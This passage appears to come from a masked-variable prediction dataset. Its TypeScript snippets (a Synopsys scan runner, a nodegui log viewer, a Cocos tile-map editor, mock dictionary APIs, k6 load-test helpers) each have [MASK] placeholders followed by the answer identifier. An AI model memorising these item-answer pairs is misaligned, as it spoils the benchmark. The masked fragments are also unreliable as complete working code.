      formattedCommand = formattedCommand.concat(coverityCommandFormatter.getFormattedCommandForCoverity())
    }

    if (validateBlackDuckInputs()) {
      const blackDuckCommandFormatter = new SynopsysToolsParameter( [MASK] )
      formattedCommand = formattedCommand.concat(blackDuckCommandFormatter.getFormattedCommandForBlackduck())
    }

    if (formattedCommand.length === 0) {
      return Promise.reject(new Error('Mandatory fields are missing for given scans'))
    }
  } catch (error: any) {
    await cleanupTempDir( [MASK] )
    debug(error.stackTrace)
    return Promise.reject(error.message)
  }

  try {
    const sb = new SynopsysBridge()
    await sb.executeBridgeCommand(formattedCommand, getWorkSpaceDirectory())
  } catch (error: any) {
    throw error
  } finally {
    await cleanupTempDir( [MASK] )
  }
}

run().catch(error => {
  if (error.message != undefined) {
    setFailed('Workflow failed! '.concat(error.message))
  } else {
    setFailed('Workflow failed! '.concat(error))
  }
})
",tempDir
540,"import Tail from ""tail"";
import {QColor, QLabel, QTableView, QTableWidget, QTableWidgetItem, QTextBrowser, QVariant} from ""@nodegui/nodegui"";

const options = {separator: /[\r]{0,1}\n/, fromBeginning: true, fsWatchOptions: {}, follow: true, logger: console};

export function watchAFile(filePath: string, table: QTableWidget): Function {
    const fileWatch = new Tail.Tail(filePath, options);
    let i = 1;
    fileWatch.on(""line"", function (data) {
        data = data.replace(/^\s+/, '');
        table.insertRow(i)
        const  [MASK]  = new QTableWidgetItem();
         [MASK] .setText(data);
        table.setItem(i, 0,  [MASK] );
        i++;
    });

    fileWatch.on(""error"", function (error) {
        console.error('ERROR: ', error);
    });

    function unWatch() {
        fileWatch.unwatch();
        table.clear();
    }

    return unWatch;
}




",cell
541,"import Role from './role';
import { utility } from './utility';

const { ccclass, property } = cc._decorator;

enum Direction {
    LEFT = 0b0010,
    FRONT = 0b0001,
    BACK = 0b1000,
    RIGHT = 0b0100,
}

enum MouseBtn {
    LEFT = 0,
    WHELL = 1,
    RIGHT = 2,
}

@ccclass
export default class Game extends cc.Component {
    @property(cc.Node)
    panelMain: cc.Node = null;
    @property(cc.Node)
    panelUI: cc.Node = null;
    @property(cc.Node)
    panelIndex: cc.Node = null;
    @property(cc.TiledMap)
    tiledMap: cc.TiledMap = null;
    @property(cc.Node)
    panelTop: cc.Node = null;
    @property(cc.Node)
    listBundles: cc.Node = null;
    @property(cc.Node)
    listItems: cc.Node = null;
    @property(cc.Node)
    nodeEditPath: cc.Node = null;
    @property(cc.Node)
    nodeFlag: cc.Node = null;
    @property(cc.Node)
    nodeAdjustAnchorPoint: cc.Node = null;
    @property(cc.Label)
    labelRowCol: cc.Label = null;
    @property(cc.Node)
    panelAnchor: cc.Node = null;

    mapSize: cc.Size = null;
    tileSize: cc.Size = null;
    scale: number = 1;
    isPressCtrl: boolean = false;
    isEditPath: boolean = false;
    canMoveMap: boolean = false;
    polygons: cc.Vec2[][] = [];

    bundles: cc.AssetManager.Bundle[] = [];
    curSelectBundle: cc.AssetManager.Bundle = null;
    curSelectContent: cc.Node = null;
    curSelectRole: cc.Node = null;
    curNodePath: cc.Node[] = [];

    usedMap: Map<string, cc.Node[]> = new Map<string, cc.Node[]>();
    anchorPointCache: { [index: string]: cc.Vec2 } = {};

    readonly MAX_SCALE: number = 3;
    readonly MIN_SCALE: number = 0.8;

    protected start(): void {
        this.initData();
        this.initUI();
        this.registerEvents();
    }

    initData() {
        this.mapSize = this.tiledMap.getMapSize();
        this.tileSize = this.tiledMap.getTileSize();
        this.initPolygon();
        this.initBundles();
    }

    initBundles() {
        let bundleNames = ['doors', 'wall', 'units', 'role_1', 'role_2', 'role_3'];
        let promises: Promise<cc.AssetManager.Bundle>[] = [];
        for (let name of bundleNames) {
            promises.push(
                new Promise((resolve) => {
                    cc.assetManager.loadBundle(name, (err, bundle) => {
                        resolve(bundle);
                    });
                })
            );
        }
        Promise.all(promises).then((bundles) => {
            this.bundles = bundles;
            console.log('load bundles success');
        });
    }

    initUI() {
        let children = this.listBundles.getComponent(cc.ScrollView).content.children;
        for (let child of children) {
            utility.addClickEventListener(child, this.onNodeBundle, this);
        }
        this.panelAnchor.getChildByName('editboxAnchorX').on('editing-did-ended', this.onEditAnchorX, this);
        this.panelAnchor.getChildByName('editboxAnchorY').on('editing-did-ended', this.onEditAnchorY, this);

        this.drawAnchorGrids();
    }

    drawAnchorGrids() {
        let graphics = new cc.Node('nodGraphics').addComponent(cc.Graphics);
        graphics.lineWidth = 5;
        graphics.strokeColor = cc.Color.WHITE;
        this.panelAnchor.addChild(graphics.node);

        graphics.moveTo(-128, 0);
        graphics.lineTo(0, 64);
        graphics.moveTo(0, 64);
        graphics.lineTo(128, 0);
        graphics.moveTo(128, 0);
        graphics.lineTo(0, -64);
        graphics.moveTo(0, -64);
        graphics.lineTo(-128, 0);

        graphics.moveTo(-96, 16);
        graphics.lineTo(32, -48);
        graphics.moveTo(-64, 32);
        graphics.lineTo(64, -32);
        graphics.moveTo(-32, 48);
        graphics.lineTo(96, -16);

        graphics.moveTo(-96, -16);
        graphics.lineTo(32, 48);
        graphics.moveTo(-64, -32);
        graphics.lineTo(64, 32);
        graphics.moveTo(-32, -48);
        graphics.lineTo(96, 16);

        graphics.stroke();
    }

    registerEvents() {
        if (cc.sys.platform == cc.sys.WECHAT_GAME) {
            this.panelMain.on(cc.Node.EventType.TOUCH_START, this.onTouchStart, this);
            this.panelMain.on(cc.Node.EventType.TOUCH_MOVE, this.onTouchMoved, this);
            this.panelMain.on(cc.Node.EventType.TOUCH_END, this.onTouchEnded, this);
            this.panelMain.on(cc.Node.EventType.TOUCH_CANCEL, this.onTouchCancel, this);
        } else {
            this.panelMain.on(cc.Node.EventType.MOUSE_DOWN, this.onMouseDown, this);
            this.panelMain.on(cc.Node.EventType.MOUSE_UP, this.onMouseUp, this);
            this.panelMain.on(cc.Node.EventType.MOUSE_MOVE, this.onMouseMove, this);
            this.panelMain.on(cc.Node.EventType.MOUSE_WHEEL, this.onMouseWhell, this);

            cc.systemEvent.on(cc.SystemEvent.EventType.KEY_DOWN, this.onKeyDown, this);
            cc.systemEvent.on(cc.SystemEvent.EventType.KEY_UP, this.onKeyUp, this);
        }
        utility.addClickEventListener(this.nodeEditPath, this.onEditPath, this);
        utility.addClickEventListener(this.nodeAdjustAnchorPoint, this.onAdjustAnchorPoint, this);
    }

    initPolygon() {
        let tiledLayer = this.tiledMap.getLayer('floor_1');
        let count: number = 0;
        for (let row = 0; row < this.mapSize.height; ++row) {
            for (let col = 0; col < this.mapSize.width; ++col) {
                let pos = tiledLayer.getPositionAt(col, row);
                let node = new cc.Node();
                node.position = cc.v3(pos.x + this.tileSize.width / 2, pos.y + this.tileSize.height / 2);
                this.polygons.push([
                    cc.v2(pos.x, pos.y + this.tileSize.height / 2),
                    cc.v2(pos.x + this.tileSize.width / 2, pos.y + this.tileSize.height),
                    cc.v2(pos.x + this.tileSize.width, pos.y + this.tileSize.height / 2),
                    cc.v2(pos.x + this.tileSize.width / 2, pos.y),
                ]);
                let label = node.addComponent(cc.Label);
                node.setAnchorPoint(0.5, 0.5);
                label.horizontalAlign = cc.Label.HorizontalAlign.CENTER;
                label.verticalAlign = cc.Label.VerticalAlign.CENTER;
                label.fontSize = 12;
                node.color = cc.Color.BLACK;
                label.string = 'index_' + count;
                count++;
                label.cacheMode = cc.Label.CacheMode.CHAR;
                this.panelIndex.addChild(node);
            }
        }
        this.panelIndex.active = false;
    }

    addOneItemWithLocation(location: cc.Vec2) {
        if (!this.curSelectContent) {
            return;
        }

        let { row, col } = this.calculateRowCol(location);
        if (row < 0 || col < 0) {
            return;
        }

        if (!this.usedMap.has(`${row}_${col}`)) {
            this.usedMap.set(`${row}_${col}`, []);
        }
        let items = this.usedMap.get(`${row}_${col}`);
        if (
            utility.indexOf(items, (node) => {
                return node.name == this.curSelectContent.name;
            }) >= 0
        ) {
            return;
        }

        let item = cc.instantiate(this.curSelectContent);
        let pos = this.tiledMap.getLayer('floor_1').getPositionAt(col, row);
        let [_, direction] = this.curSelectContent.name.match(/_(\d)$/) || [];
        this.adjustItemPos(cc.v3(pos.x, pos.y), item, Number(direction || Direction.BACK));
        this.panelUI.addChild(item);
        item.zIndex = Math.floor(item.x / 100) - Math.floor(item.y);
        items.push(item);

        let isRole: boolean = false;
        if (this.curSelectBundle.name == 'role_1' || this.curSelectBundle.name == 'role_2' || this.curSelectBundle.name == 'role_3') {
            let animation = item.addComponent(cc.Animation);
            let regx = /^(\d+)-(\d+)_(\w+)_(\d+)$/;
            let [_1, id, _3, clip, index] = this.curSelectContent.name.match(regx) || [];
            let names: string[] = [];
            for (let i = 0; i < 6; ++i) {
                names.push(`${id}-${id}_${clip}_000${i + 1}`);
            }
            utility.loadResources<cc.SpriteFrame>(this.curSelectBundle, names, cc.SpriteFrame).then(( [MASK] ) => {
                if (!cc.isValid(animation)) {
                    return;
                }
                utility.attachAnimationClip(animation,  [MASK] , clip);
            });
            item.addComponent(Role);
            isRole = true;
        }
        utility.addClickEventListener(item, this.onNodeItem, this, isRole);
    }

    addOneNodePath(location: cc.Vec2) {
        if (!this.isEditPath || !this.nodeFlag.active) {
            return;
        }
        let { row, col } = this.calculateRowCol(location);
        if (row < 0 || col < 0) {
            return;
        }
        let item = cc.instantiate(this.nodeFlag);
        let pos = this.tiledMap.getLayer('floor_1').getPositionAt(col, row);
        this.adjustItemPos(cc.v3(pos.x, pos.y), item, Number(Direction.BACK));
        if (
            utility.indexOf(this.curNodePath, (node) => {
                return node.x == item.x && node.y == item.y;
            }) >= 0
        ) {
            item.destroy();
            return;
        }
        this.panelUI.addChild(item);
        item.zIndex = Math.floor(item.x / 100) - Math.floor(item.y);
        this.curNodePath.push(item);
    }

    onNodeItem(event: cc.Event.EventTouch, isRole: boolean) {
        if (isRole) {
            this.curSelectRole = event.target;
        }
    }

    onTouchStart(event: cc.Event.EventTouch) {
        let touches = event.getTouches();
        if (touches.length === 2) {
            this.zoomMapWithTouches(touches);
        } else if (touches.length === 1) {
            this.addOneItemWithLocation(event.getLocation());
        }
    }

    onTouchMoved(event: cc.Event.EventTouch) {
        let delta = event.getDelta();
        this.moveMainMap(delta);
    }

    onTouchEnded(event: cc.Event.EventTouch) {}

    onTouchCancel(event: cc.Event.EventTouch) {}

    onKeyDown(event: cc.Event.EventKeyboard) {
        switch (event.keyCode) {
            case cc.macro.KEY.ctrl:
                this.isPressCtrl = true;
                break;
            default:
                // console.log(`current push keycode:${cc.macro.KEY[event.keyCode]}`);
                break;
        }
    }

    onKeyUp(event: cc.Event.EventKeyboard) {
        switch (event.keyCode) {
            case cc.macro.KEY.ctrl:
                this.isPressCtrl = false;
                break;
            case cc.macro.KEY.s:
                this.panelIndex.active = !this.panelIndex.active;
                break;
            case cc.macro.KEY.h:
                this.panelTop.active = !this.panelTop.active;
                break;
            default:
                // console.log(`current release keycode:${cc.macro.KEY[event.keyCode]}`);
                break;
        }
    }

    onMouseDown(event: cc.Event.EventMouse) {
        this.calculateRowCol(event.getLocation());
        let type = event.getButton();
        if (type == MouseBtn.LEFT) {
            this.addOneItemWithLocation(event.getLocation());
            this.addOneNodePath(event.getLocation());
        }
        if (type == MouseBtn.RIGHT) {
            this.canMoveMap = true;
        }
        if (type == MouseBtn.WHELL) {
            this.curSelectContent && this.curSelectContent.removeFromParent();
            this.curSelectContent = null;
        }
    }

    onMouseUp(event: cc.Event.EventMouse) {
        let type = event.getButton();
        if (type === MouseBtn.RIGHT) {
            this.canMoveMap = false;
        }
    }

    onMouseMove(event: cc.Event.EventMouse) {
        let { row, col } = this.calculateRowCol(event.getLocation());
        this.labelRowCol.string = `ROW:${row}, COL:${col}`;
        if (this.curSelectContent) {
            let pos = this.tiledMap.getLayer('floor_1').getPositionAt(col, row);
            let [_, direction] = this.curSelectContent.name.match(/_(\d)$/) || [];
            this.adjustItemPos(cc.v3(pos.x, pos.y), this.curSelectContent, Number(direction || Direction.BACK));
            this.curSelectContent.zIndex = Math.floor(this.curSelectContent.x / 100) - Math.floor(this.curSelectContent.y);
        }
        if (this.curSelectRole) {
            let pos = this.tiledMap.getLayer('floor_1').getPositionAt(col, row);
            this.adjustItemPos(cc.v3(pos.x, pos.y), this.nodeFlag, Number(Direction.BACK));
            this.nodeFlag.zIndex = Math.floor(this.nodeFlag.x / 100) - Math.floor(this.nodeFlag.y);
        }
        if (this.canMoveMap) {
            this.moveMainMap(event.getDelta());
        }
    }

    onMouseWhell(event: cc.Event.EventMouse) {
        this.zoomMapWithWhell(event);
    }

    onNodeBundle(event: cc.Event.EventTouch) {
        if (this.bundles.length <= 0) {
            return;
        }
        let index = utility.indexOf(this.bundles, (bundle) => {
            return bundle.name == event.target.name;
        });
        if (index < 0) {
            return;
        }
        this.curSelectBundle = this.bundles[index];
        if (this.curSelectBundle.name == 'wall') {
            this.updateWallItems();
        } else if (this.curSelectBundle.name == 'role_1' || this.curSelectBundle.name == 'role_2' || this.curSelectBundle.name == 'role_3') {
            this.updateRoleItems();
        } else if (this.curSelectBundle.name == 'units') {
            this.updateUnitsItems();
        } else if (this.curSelectBundle.name == 'doors') {
            this.updateDoorItems();
        }
    }

    updateWallItems() {
        this.listItems.getComponent(cc.ScrollView).content.removeAllChildren();
        let contents = this.parseBundleContents(this.curSelectBundle);
        for (let content in contents) {
            let layout = utility.createOneLayout({ type: cc.Layout.Type.HORIZONTAL, mode: cc.Layout.ResizeMode.CONTAINER, spacingX: 15, spacingY: 0 });
            layout.height = 90;
            layout.addChild(this.createOneContent(`wall_${content}_${Direction.LEFT}`));
            layout.addChild(this.createOneContent(`wall_${content}_${Direction.FRONT}`));
            layout.addChild(this.createOneContent(`wall_${content}_${Direction.RIGHT}`));
            layout.addChild(this.createOneContent(`wall_${content}_${Direction.BACK}`));
            this.listItems.getComponent(cc.ScrollView).content.addChild(layout);
        }
    }

    updateRoleItems() {
        this.listItems.getComponent(cc.ScrollView).content.removeAllChildren();
        let contents = Object.keys(this.parseBundleContents(this.curSelectBundle));
        for (let i = 0; i < contents.length; i += 4) {
            let layout = utility.createOneLayout({ type: cc.Layout.Type.HORIZONTAL, mode: cc.Layout.ResizeMode.CONTAINER, spacingX: 15, spacingY: 0 });
            layout.height = 90;
            for (let j = 0; j < 4; ++j) {
                if (!contents[i + j]) {
                    break;
                }
                layout.addChild(this.createOneContent(`${contents[i + j]}-${contents[i + j]}_awb_0001`));
            }
            this.listItems.getComponent(cc.ScrollView).content.addChild(layout);
        }
    }

    updateDoorItems() {
        this.listItems.getComponent(cc.ScrollView).content.removeAllChildren();
        let contents = this.parseBundleContents(this.curSelectBundle);
        for (let content in contents) {
            this.listItems.getComponent(cc.ScrollView).content.addChild(this.createOneContent(`door_${content}_1`));
        }
    }

    updateUnitsItems() {
        this.listItems.getComponent(cc.ScrollView).content.removeAllChildren();
        let contents = this.parseBundleContents(this.curSelectBundle);
        for (let content in contents) {
            this.listItems.getComponent(cc.ScrollView).content.addChild(this.createOneContent(content));
        }
    }

    createOneContent(content: string) {
        let nodeContent = new cc.Node(content);
        nodeContent.addComponent(cc.Sprite);
        utility.addClickEventListener(nodeContent, this.onNodeContent, this);
        this.curSelectBundle.load(content, cc.SpriteFrame, (err, spriteFrame: cc.SpriteFrame) => {
            if (cc.isValid(nodeContent)) {
                nodeContent.getComponent(cc.Sprite).spriteFrame = spriteFrame;
            }
        });
        return nodeContent;
    }

    parseBundleContents(bundle: cc.AssetManager.Bundle) {
        let keys = Object.keys(bundle['_config'].paths._map);
        let contents: { [index: string]: boolean } = {};
        if (bundle.name == 'wall') {
            let rege = /^(\w+)_(\d+)_(\d+)$/;
            for (let key of keys) {
                let [_1, _2, id, index] = key.match(rege) || [];
                if (!id || contents[id]) {
                    continue;
                }
                contents[id] = true;
            }
        } else if (bundle.name == 'role_1' || bundle.name == 'role_2' || bundle.name == 'role_3') {
            let regx = /^(\d+)-(\d+)_(\w+)_(\d+)$/;
            for (let key of keys) {
                let [_1, id, _3, clip, index] = key.match(regx) || [];
                if (!_1 || contents[id]) {
                    continue;
                }
                contents[id] = true;
            }
        } else if (bundle.name == 'doors') {
            for (let key of keys) {
                let regx = /^door_(\d+)_(\d+)$/;
                let [_1, id, index] = key.match(regx) || [];
                if (!_1 || contents[id]) {
                    continue;
                }
                contents[id] = true;
            }
        } else if (bundle.name == 'units') {
            for (let key of keys) {
                contents[key] = true;
            }
        }
        return contents;
    }

    onNodeContent(event: cc.Event.EventTouch) {
        if (this.curSelectContent) {
            this.curSelectContent.destroy();
            this.curSelectContent = null;
        }
        this.curSelectBundle.load(event.target.name, cc.SpriteFrame, (err, spriteFrame: cc.SpriteFrame) => {
            let node = new cc.Node(event.target.name);
            let spr = node.addComponent(cc.Sprite);
            spr.spriteFrame = spriteFrame;
            if (this.curSelectBundle.name == 'wall') {
                node.setAnchorPoint(this.anchorPointCache[node.name] || cc.v2(0.5, 0.1));
            } else if (this.curSelectBundle.name == 'role_1' || this.curSelectBundle.name == 'role_2' || this.curSelectBundle.name == 'role_3') {
                node.setAnchorPoint(this.anchorPointCache[node.name] || cc.v2(0.6, 0.1));
            } else {
                node.setAnchorPoint(this.anchorPointCache[node.name] || cc.v2(0.5, 0.5));
            }
            this.panelUI.addChild(node);
            this.curSelectContent = node;
        });
        console.log('click content');
    }

    updateMainScale(isZoom: boolean, rato: number) {
        let scaleTo: number = isZoom ? this.MAX_SCALE : this.MIN_SCALE;
        this.scale = cc.misc.lerp(this.panelMain.scale, scaleTo, rato);
        this.panelMain.scale = this.scale;
    }

    zoomMapWithTouches(touches: cc.Touch[]) {
        let first: cc.Vec2 = touches[0].getDelta();
        let second: cc.Vec2 = touches[1].getDelta();
        if (first.x < second.y) {
            let temp = first;
            first = second;
            second = temp;
        }
        let isZoom: boolean = first.x < 0 || first.y > 0;
        if (first.x * second.x < 0 || first.y * second.y < 0) {
            let rato = utility.clamp(first.lengthSqr() + second.lengthSqr(), 0, 1);
            this.updateMainScale(isZoom, rato);
        }
    }

    zoomMapWithWhell(event: cc.Event.EventMouse) {
        if (!this.isPressCtrl) {
            return;
        }
        let scrollY = event.getScrollY();
        let rato: number = utility.clamp(Math.abs(scrollY / 500), 0, 1);
        this.updateMainScale(scrollY > 0, rato);
    }

    adjustItemPos(pos: cc.Vec3, node: cc.Node, direction?: Direction) {
        //!: pos坐标相对于图片左下角，即 anchorPoint(0, 0)
        if (this.curSelectBundle.name == 'wall') {
            pos = pos.add(cc.v3(node.width * node.anchorX, node.height * node.anchorY));
        }
        if (this.curSelectBundle.name == 'units') {
            direction = Direction.FRONT;
        }
        if (direction == Direction.FRONT) {
            node.position = cc.v3(pos.x, pos.y);
        } else if (direction == Direction.BACK) {
            node.position = cc.v3(pos.x + this.tileSize.width / 2, pos.y + this.tileSize.height / 2);
        } else if (direction == Direction.RIGHT) {
            node.position = cc.v3(pos.x + this.tileSize.width / 2, pos.y);
        } else if (direction == Direction.LEFT) {
            node.position = cc.v3(pos.x, pos.y + this.tileSize.height / 2);
        } else {
            node.position = pos;
        }
    }

    calculateRowCol(location: cc.Vec2) {
        let pos = this.panelIndex.convertToNodeSpaceAR(location);

        let col = Math.floor((pos.x / this.tileSize.width) * 2);
        let row = Math.floor((pos.y / this.tileSize.height) * 2);

        let X = col * this.tileSize.width * 0.5;
        let Y = row * this.tileSize.height * 0.5;

        let K: number = 0,
            isLeft: boolean = false;
        if ((col % 2 == 1 && row % 2 == 0) || (col % 2 == 0 && row % 2 == 1)) {
            K = Y + 0.5 * X + this.tileSize.height * 0.5;
            isLeft = pos.y < K - pos.x * 0.5;
            if (isLeft) {
                X = X - this.tileSize.width * 0.5;
                Y = Y - this.tileSize.height * 0.5;
            }
        } else {
            K = Y - 0.5 * X;
            isLeft = pos.y > pos.x * 0.5 + K;
            if (isLeft) {
                X = X - this.tileSize.width * 0.5;
            } else {
                Y = Y - this.tileSize.height * 0.5;
            }
        }

        let r =
            (this.tileSize.width * this.tileSize.height * (this.mapSize.height * 2 + this.mapSize.width - 3) - 2 * (X * this.tileSize.height + Y * this.tileSize.width)) /
            (2 * this.tileSize.width * this.tileSize.height);
        r = utility.clamp(r, 0, this.mapSize.height - 1);
        let c =
            (2 * (X * this.tileSize.height - Y * this.tileSize.width) + this.tileSize.width * this.tileSize.height * (this.mapSize.width - 1)) /
            (2 * this.tileSize.width * this.tileSize.height);
        c = utility.clamp(c, 0, this.mapSize.width - 1);

        // console.log(`current row:${row}, col:${col}, X:${X}, Y:${Y}, K:${K}, isLeft:${isLeft}, r:${r}, c:${c}`);

        return { row: r, col: c };
    }

    calculateRowColByPolygon(location: cc.Vec2) {
        let pos = this.panelIndex.convertToNodeSpaceAR(location);
        for (let row = 0; row < this.mapSize.height; ++row) {
            for (let col = 0; col < this.mapSize.width; ++col) {
                let polygon = this.polygons[row * this.mapSize.width + col];
                if (cc.Intersection.pointInPolygon(pos, polygon)) {
                    return { row: row, col: col };
                }
            }
        }
        return { row: -1, col: -1 };
    }

    moveMainMap(delta: cc.Vec2) {
        let pos = this.panelMain.position.add(cc.v3(delta.x, delta.y));
        let maxDiffX = (this.panelMain.width * this.scale - cc.view.getVisibleSize().width) / 2;
        let maxDiffY = (this.panelMain.height * this.scale - cc.view.getVisibleSize().height) / 2;
        this.panelMain.x = utility.clamp(pos.x, -maxDiffX, maxDiffX);
        this.panelMain.y = utility.clamp(pos.y, -maxDiffY, maxDiffY);
    }

    onEditPath(event: cc.Event.EventTouch) {
        if (!this.curSelectRole) {
            return;
        }
        if (this.isEditPath && this.curNodePath.length > 2) {
            this.curSelectRole.position = this.curNodePath[0].position;
            let tween = new cc.Tween(this.curSelectRole);
            for (let index = 1; index < this.curNodePath.length; ++index) {
                let time = this.curNodePath[index].position.sub(this.curNodePath[index - 1].position).len() / 150;
                tween = tween.to(time, { x: this.curNodePath[index].x, y: this.curNodePath[index].y });
            }
            let time = this.curNodePath[this.curNodePath.length - 1].position.sub(this.curNodePath[0].position).len() / 150;
            tween.to(time, { x: this.curNodePath[0].x, y: this.curNodePath[0].y });
            tween.union().repeatForever().start();
            this.curSelectRole = null;
            this.curNodePath.forEach((node) => {
                node.destroy();
            });
            this.curNodePath = [];
        }
        this.isEditPath = !this.isEditPath;
        this.nodeFlag.active = this.isEditPath;
        event.stopPropagationImmediate();
    }

    onAdjustAnchorPoint(event: cc.Event.EventTouch) {
        if (!this.curSelectContent) {
            return;
        }
        this.panelAnchor.active = !this.panelAnchor.active;
        if (!this.panelAnchor.active) {
            this.panelAnchor.getChildByName('sprPreview')?.removeFromParent();
            return;
        }
        this.panelAnchor.getChildByName('editboxAnchorX').getComponent(cc.EditBox).string = this.curSelectContent.anchorX + '';
        this.panelAnchor.getChildByName('editboxAnchorY').getComponent(cc.EditBox).string = this.curSelectContent.anchorY + '';
        let node = cc.instantiate(this.curSelectContent);
        node.name = 'sprPreview';
        node.position = cc.v3(0, 0, 0);
        this.panelAnchor.addChild(node);
    }

    onEditAnchorX(editbox: cc.EditBox) {
        let anchorX = Number(editbox.string) != Number.NaN ? utility.clamp(Number(editbox.string), 0, 1) : 0.5;
        let spr = this.panelAnchor.getChildByName('sprPreview');
        spr.anchorX = anchorX;
        spr.x = 0;
        if (!this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name]) {
            this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name] = cc.v2(anchorX, spr.anchorY);
        } else {
            this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name].x = anchorX;
        }
        this.curSelectContent.setAnchorPoint(this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name]);
    }

    onEditAnchorY(editbox: cc.EditBox) {
        let anchorY = Number(editbox.string) != Number.NaN ? utility.clamp(Number(editbox.string), 0, 1) : 0.5;
        let spr = this.panelAnchor.getChildByName('sprPreview');
        spr.anchorY = anchorY;
        spr.y = 0;
        if (!this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name]) {
            this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name] = cc.v2(spr.anchorX, anchorY);
        } else {
            this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name].y = anchorY;
        }
        this.curSelectContent.setAnchorPoint(this.anchorPointCache[spr.getComponent(cc.Sprite).spriteFrame.name]);
    }
}
",frames
542,"import { defineMock } from ""./base"";

export default defineMock([
  {
    url: ""dict/:code/options"",
    method: [""GET""],
    body: ({ params }) => {
      const  [MASK]  = params.code;

      let list = null;

      if ( [MASK]  == ""gender"") {
        list = [
          {
            value: ""1"",
            label: ""男"",
          },
          {
            value: ""2"",
            label: ""女"",
          },
          {
            value: ""0"",
            label: ""未知"",
          },
        ];
      }

      return {
        code: ""200"",
        data: list,
        msg: ""一切ok"",
      };
    },
  },

  {
    url: ""dict/types/page"",
    method: [""GET""],
    body: {
      code: ""200"",
      data: {
        list: [
          {
            id: 1,
            name: ""性别"",
            code: ""gender"",
            status: 1,
          },
          {
            id: 2,
            name: ""状态"",
            code: ""status"",
            status: 1,
          },
        ],
        total: 2,
      },
      msg: ""一切ok"",
    },
  },

  {
    url: ""dict/page"",
    method: [""GET""],
    body: {
      code: ""200"",
      data: {
        list: [
          {
            id: 1,
            name: ""男"",
            value: ""1"",
            status: 1,
          },
          {
            id: 2,
            name: ""女"",
            value: ""2"",
            status: 1,
          },
          {
            id: 3,
            name: ""未知"",
            value: ""0"",
            status: 1,
          },
        ],
        total: 3,
      },
      msg: ""一切ok"",
    },
  },
]);
",typeCode
543,"import envConfig from '../config/env';
import {
  IK6Options,
  IRequestConfig,
  ITestConfig,
} from '../interfaces/ITestDefinitions';
import {
  http,
  check,
  group,
  sleep,
  htmlReport,
  textSummary,
} from 'src/common/config/generalImports';
import * as customScenarios from 'src/common/config/scenarios';

/**
 * Constructs a URL string from test configuration and request parameters.
 * @param data The test configuration including protocol and host.
 * @param request The request configuration including port, path, method, and params.
 * @returns The constructed URL string.
 */
export function getUrl(data: ITestConfig, request: IRequestConfig): string {
  let url = `${data.protocol}://${data.host}`;
  if (request.port) {
    url += `:${request.port}`;
  }
  url += request.path;

  if (request.method === 'GET' && request.queryParams) {
    const queryString = Object.entries(request.queryParams)
      .map(
        ([key, value]) =>
          `${encodeURIComponent(String(key))}=${encodeURIComponent(String(value))}`,
      )
      .join('&');
    url += `?${queryString}`;
  }

  return url;
}

/**
 * Executes a HTTP request based on the given parameters and processes the response.
 * @param url The URL to which the request is sent.
 * @param method The HTTP method to use for the request.
 * @param body The request body for POST requests.
 * @param params Additional request parameters.
 * @param metrics An object containing metrics to track error rate, response time, and error count.
 * @param expectedStatusCode The expected HTTP status code for the request.
 */
export function executeRequest(
  url: string,
  method: string,
  body: any[],
  params: any,
  metrics: { errorRate: any; responseTime: any; errorCount: any },
  expectedStatusCode: number, // Añade el código de estado esperado como argumento
   [MASK] : number = 0, // Parámetros opcionales con valores por defecto
  maxSleep: number = 5,
) {
  const { errorRate, responseTime, errorCount } = metrics;

  group(url, function () {
    try {
      const res = http.request(method, url, JSON.stringify(body), params);
      // Pasa el código de estado esperado a processResponse
      processResponse(res, metrics, expectedStatusCode);
    } catch (error) {
      errorRate.add(true);
      errorCount.add(1);
    }
  });
  const sleepTime = getRandomInt( [MASK] , maxSleep);
  sleep(sleepTime);
}

/**
 * Processes the response from a HTTP request, updating metrics based on the outcome.
 * @param res The response object from the HTTP request.
 * @param metrics An object containing metrics to track error rate, response time, and error count.
 * @param expectedStatusCode The HTTP status code expected from the response.
 */
export function processResponse(
  res: any,
  metrics: { errorRate: any; responseTime: any; errorCount: any },
  expectedStatusCode: number, // Utiliza el código de estado esperado para la evaluación
) {
  const { errorRate, responseTime, errorCount } = metrics;

  // Actualiza la condición de verificación para usar el código de estado esperado
  const isSuccess = res.status === expectedStatusCode;
  check(res, { [`status is ${expectedStatusCode}`]: () => isSuccess });
  responseTime.add(res.timings.duration);
  errorRate.add(!isSuccess);
  if (!isSuccess) errorCount.add(1);
}

/**
 * Generates a report for the test execution, optionally with a custom title.
 * @param testConfig Configuration for the test including service name and test name.
 * @param data The data collected during the test execution.
 * @param customTitle An optional custom title for the report.
 * @returns An object containing the path to the HTML report and the text summary output.
 */
export function generateReport(
  testConfig: ITestConfig,
  data: any,
  customTitle?: string,
) {
  const resultPath = `./results/${testConfig.service}-${testConfig.testName}.html`;
  const title = customTitle || `${testConfig.service}-${testConfig.testName}`;
  return {
    [resultPath]: htmlReport(data, { title }),
    stdout: textSummary(data, { indent: ' ', enableColors: true }),
  };
}

/**
 * Creates test options for the execution, merging any provided options with the default ones.
 * @param options The custom options to be merged with the default options.
 * @returns The merged test options.
 */
export function createTestOptions(options: IK6Options): IK6Options {
  const defaultOptions: IK6Options = {
    discardResponseBodies: true,
    thresholds: {
      http_req_failed: [
        { threshold: 'rate<0.1', abortOnFail: true, delayAbortEval: '10s' },
      ],
    },
  };

  // Create a copy of the default options to avoid direct mutation
  const mergedOptions: IK6Options = JSON.parse(JSON.stringify(defaultOptions));

  // Merge the provided options with the default ones
  mergeDeep(mergedOptions, options);
  return mergedOptions;
}

/**
 * Deeply merges two objects, specifically for merging thresholds and scenarios in test options.
 * @param target The target object to merge into.
 * @param source The source object from which to merge properties.
 */
export function mergeDeep(target: any, source: any) {
  Object.keys(source).forEach((key) => {
    if (source[key] && typeof source[key] === 'object') {
      if (!target[key]) {
        target[key] = {};
      }
      mergeDeep(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  });
}
/**
 * Generates a random integer between the specified minimum and maximum values, inclusive of the minimum and exclusive of the maximum.
 *
 * @param {number} min - The minimum value in the range.
 * @param {number} max - The maximum value in the range.
 * @returns {number} A random integer between the min (inclusive) and max (exclusive) values.
 */
export function getRandomInt(min: number, max: number): number {
  min = Math.ceil(min);
  max = Math.floor(max);
